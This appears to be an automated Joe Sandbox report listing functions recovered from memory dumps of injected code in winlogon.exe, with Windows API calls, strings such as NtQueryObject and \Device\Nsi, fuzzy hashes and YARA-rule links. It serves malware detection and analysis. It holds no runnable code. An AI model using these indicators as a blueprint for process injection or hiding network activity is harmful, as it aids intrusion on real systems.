Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: 1b76cae57bb5ede7a876367774aa743c8adcc59447000feee719665bdef6a494
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 2EB17033A5879886FB568F25D400BDAB3A5FB84B99F845016DE09677A4DE36CC42C3C3

Function 000001CA7D212FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001CA7D213094
lstrlenW.KERNEL32 ref: 000001CA7D2132BE

Part of subcall function 000001CA7D211A30: OpenProcess.KERNEL32 ref: 000001CA7D211A56
Part of subcall function 000001CA7D211A30: K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D211A74
Part of subcall function 000001CA7D211A30: PathFindFileNameW.SHLWAPI ref: 000001CA7D211A83
Part of subcall function 000001CA7D211A30: lstrlenW.KERNEL32 ref: 000001CA7D211A8F
Part of subcall function 000001CA7D211A30: StrCpyW.SHLWAPI ref: 000001CA7D211AA2
Part of subcall function 000001CA7D211A30: CloseHandle.KERNEL32 ref: 000001CA7D211AB0

GetProcAddress.KERNEL32 ref: 000001CA7D2130A9

Part of subcall function 000001CA7D213F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D21272F), ref: 000001CA7D213FA0

StrCmpNIW.SHLWAPI ref: 000001CA7D2130EC
lstrlenW.KERNEL32 ref: 000001CA7D213214

Strings

\Device\Nsi, xrefs: 000001CA7D2130DF
NtQueryObject, xrefs: 000001CA7D21309F
ntdll.dll, xrefs: 000001CA7D21308D

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: c99db775f95ad49f63960b31de7368144e072af91cd50a58f6ca275a580b9347
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 26B16F33A5479882FB669F25D400BD9B3A6FB44B98F94901AEE0953794DA37CD42C3C3

Function 000001CA7D1E2FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001CA7D1E3094
lstrlenW.KERNEL32 ref: 000001CA7D1E32BE

Part of subcall function 000001CA7D1E1A30: OpenProcess.KERNEL32 ref: 000001CA7D1E1A56
Part of subcall function 000001CA7D1E1A30: K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D1E1A74
Part of subcall function 000001CA7D1E1A30: PathFindFileNameW.SHLWAPI ref: 000001CA7D1E1A83
Part of subcall function 000001CA7D1E1A30: lstrlenW.KERNEL32 ref: 000001CA7D1E1A8F
Part of subcall function 000001CA7D1E1A30: StrCpyW.SHLWAPI ref: 000001CA7D1E1AA2
Part of subcall function 000001CA7D1E1A30: CloseHandle.KERNEL32 ref: 000001CA7D1E1AB0

GetProcAddress.KERNEL32 ref: 000001CA7D1E30A9

Part of subcall function 000001CA7D1E3F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D1E272F), ref: 000001CA7D1E3FA0

StrCmpNIW.SHLWAPI ref: 000001CA7D1E30EC
lstrlenW.KERNEL32 ref: 000001CA7D1E3214

Strings

NtQueryObject, xrefs: 000001CA7D1E309F
ntdll.dll, xrefs: 000001CA7D1E308D
\Device\Nsi, xrefs: 000001CA7D1E30DF

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: 4dfdd766fcca42df98d61a964e565b1f4d34243f24fb4b18c15cbeb28bb14d75
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 4EB16D73A5079982FB5A8F26D400BD9B3A5FF44F8AF845016EE4993795DE36C980C383

Function 000001CA7D2984B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001CA7D2984CC
RtlCaptureContext.NTDLL ref: 000001CA7D2984F9
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D298513
RtlVirtualUnwind.NTDLL ref: 000001CA7D298554
IsDebuggerPresent.KERNEL32 ref: 000001CA7D2985A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D2985C5
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D2985D0

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: b325f62a8c6918293bf4545d48a3dff6da009b34d28f8e70c2f43cb220add978
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 2E31B073600B8486FB618F60E840BEE7360FB84708F84402ADA4E4BB94DF39C149C792

Function 000001CA7D2184B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001CA7D2184CC
RtlCaptureContext.NTDLL ref: 000001CA7D2184F9
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D218513
RtlVirtualUnwind.NTDLL ref: 000001CA7D218554
IsDebuggerPresent.KERNEL32 ref: 000001CA7D2185A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D2185C5
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D2185D0

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: b08fb8c50f464ed379093d9854270921c734b56c222001deaac93b1b99a5f4bc
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 65319273604B8496FB618F60E880BED7370FB84758F84812ADA4E47B94DF39C649C796

Function 000001CA7D1E84B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001CA7D1E84CC
RtlCaptureContext.NTDLL ref: 000001CA7D1E84F9
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D1E8513
RtlVirtualUnwind.NTDLL ref: 000001CA7D1E8554
IsDebuggerPresent.KERNEL32 ref: 000001CA7D1E85A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1E85C5
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1E85D0

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: e36a2929517430e398b6d0cc2adb5a53015578127c4b9c6c466daf903339ad4f
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: FF319E73645B84C6FB618F60E850BEE7360FB84748F84412ADA4E47B99EF39C648C752

Function 000001CA7D29CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001CA7D29CE0B
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D29CE23
RtlVirtualUnwind.NTDLL ref: 000001CA7D29CE5E
IsDebuggerPresent.KERNEL32 ref: 000001CA7D29CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D29CEA1
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D29CEAC

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: 3da2407669b8f480f8f756b28b7d9b8c2941b422362866d82381332b9e319530
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 3B419B33654B8486EB61CF24E8407DE73A4FB88758F940215EA9D47BA8DF39C156CB82

Function 000001CA7D21CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001CA7D21CE0B
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D21CE23
RtlVirtualUnwind.NTDLL ref: 000001CA7D21CE5E
IsDebuggerPresent.KERNEL32 ref: 000001CA7D21CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D21CEA1
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D21CEAC

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: e21dcb0928847e0ad1ab47b3b2793bd05313454e03d703009cfb91f4e3bedbc5
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: FD41C537614F8486E761CF24E8407DE73A4FB88758F904119EA9D47B94DF39C146CB82

Function 000001CA7D1ECD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001CA7D1ECE0B
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D1ECE23
RtlVirtualUnwind.NTDLL ref: 000001CA7D1ECE5E
IsDebuggerPresent.KERNEL32 ref: 000001CA7D1ECE97
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1ECEA1
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1ECEAC

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: 4d4afe448e738d7e3fa105810fe858d9c604cd282fc7a32b4601bf5b3b83ad03
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 4541AC33654B8486FB61CF24E840BDE77A4FB88758F900225EA8D47B99DF39C245CB42

Function 000001CA7D29DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 000001CA7D29DB99
FindNextFileW.KERNEL32 ref: 000001CA7D29DCCF
FindClose.KERNEL32 ref: 000001CA7D29DD0F
FindClose.KERNEL32 ref: 000001CA7D29DD3B

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: fa24c3d413903ccc1a3935427bc08479c9ec404d9b3963e817dc7376bfee203b
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: 7FA1E433B4478849FB229B759448BED7BA0FB8179DF9841159E4837699CA36C043E7C3

Function 000001CA7D21DA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 000001CA7D21DB99
FindNextFileW.KERNEL32 ref: 000001CA7D21DCCF
FindClose.KERNEL32 ref: 000001CA7D21DD0F
FindClose.KERNEL32 ref: 000001CA7D21DD3B

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: 45d124b7b65d76756e98c7d09d685b6f4212555c67c952a88febd89221c6fea2
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: 1AA1E633B4478889FB22DB759440BED7BA0BB8179CF9881199E5527A95CA3BC043C7C3

Function 000001CA7D1EDA18 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 000001CA7D1EDB99
FindNextFileW.KERNEL32 ref: 000001CA7D1EDCCF
FindClose.KERNEL32 ref: 000001CA7D1EDD0F
FindClose.KERNEL32 ref: 000001CA7D1EDD3B

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: bca9c8bf826c505011b38fd6b5f6bfe9104125b42424f6945c05f756906d2787
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: C8A10633B4478849FB229B75E440BED7BA0BB81B9DF9C4115DA492BA95DA36C041C343

Function 000001CA7D1E8090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001CA7D1E80BC
GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E80CA
GetCurrentProcessId.KERNEL32 ref: 000001CA7D1E80D6
QueryPerformanceCounter.KERNEL32 ref: 000001CA7D1E80E6

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 2ffd8be48935f38640984e0e891f6a1c018a3ddb3dfbf4d3b2fca621978af583
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 14113C36B51F088AFB00CF60E8547E833A4FB59758F840E21DA6D86BA4EF78C1558382

Function 000001CA7D29D894 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 000001CA7D29D220: HeapAlloc.KERNEL32(?,?,00000000,000001CA7D29C987), ref: 000001CA7D29D275

Part of subcall function 000001CA7D2A0EB8: _invalid_parameter_noinfo.LIBCMT ref: 000001CA7D2A0EEB

FindFirstFileExW.KERNEL32 ref: 000001CA7D29DB99

Part of subcall function 000001CA7D29D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001CA7D29674A), ref: 000001CA7D29D2B6
Part of subcall function 000001CA7D29D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001CA7D29674A), ref: 000001CA7D29D2C0

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$AllocErrorFileFindFirstFreeLast_invalid_parameter_noinfo
String ID:
API String ID: 2436724071-0
Opcode ID: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction ID: 3ea8621b35377627fdacd7b1a3c1b8087c9e356d7a72d09c49ba8589577fb77f
Opcode Fuzzy Hash: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction Fuzzy Hash: B8813533B4478485FB22DB31A544BDEB791FB847A9F884125AE9D27795CE3AC04393C2

Function 000001CA7D21D894 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 000001CA7D21D220: HeapAlloc.KERNEL32(?,?,00000000,000001CA7D21C987), ref: 000001CA7D21D275

Part of subcall function 000001CA7D220EB8: _invalid_parameter_noinfo.LIBCMT ref: 000001CA7D220EEB

FindFirstFileExW.KERNEL32 ref: 000001CA7D21DB99

Part of subcall function 000001CA7D21D2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001CA7D21674A), ref: 000001CA7D21D2B6
Part of subcall function 000001CA7D21D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001CA7D21674A), ref: 000001CA7D21D2C0

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$AllocErrorFileFindFirstFreeLast_invalid_parameter_noinfo
String ID:
API String ID: 2436724071-0
Opcode ID: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction ID: 176bc6c17da58cb777e97b847668772cea4fa243f14036d6c43020da7c5fc00a
Opcode Fuzzy Hash: 015d5b419df91353723227b82cc5f20b2d7cfca631414c8aa69de49a3ee2378e
Instruction Fuzzy Hash: C181E733B44788C5FB22DB21A550BDE7791FB447D8F888119AEA907B95DA3BC04387C2

Function 000001CA7D1ED894 Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 000001CA7D1ED220: HeapAlloc.KERNEL32(?,?,00000000,000001CA7D1EC987), ref: 000001CA7D1ED275

Part of subcall function 000001CA7D1F0EB8: _invalid_parameter_noinfo.LIBCMT ref: 000001CA7D1F0EEB

FindFirstFileExW.KERNEL32 ref: 000001CA7D1EDB99

Part of subcall function 000001CA7D1ED2A0: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001CA7D1E674A), ref: 000001CA7D1ED2B6
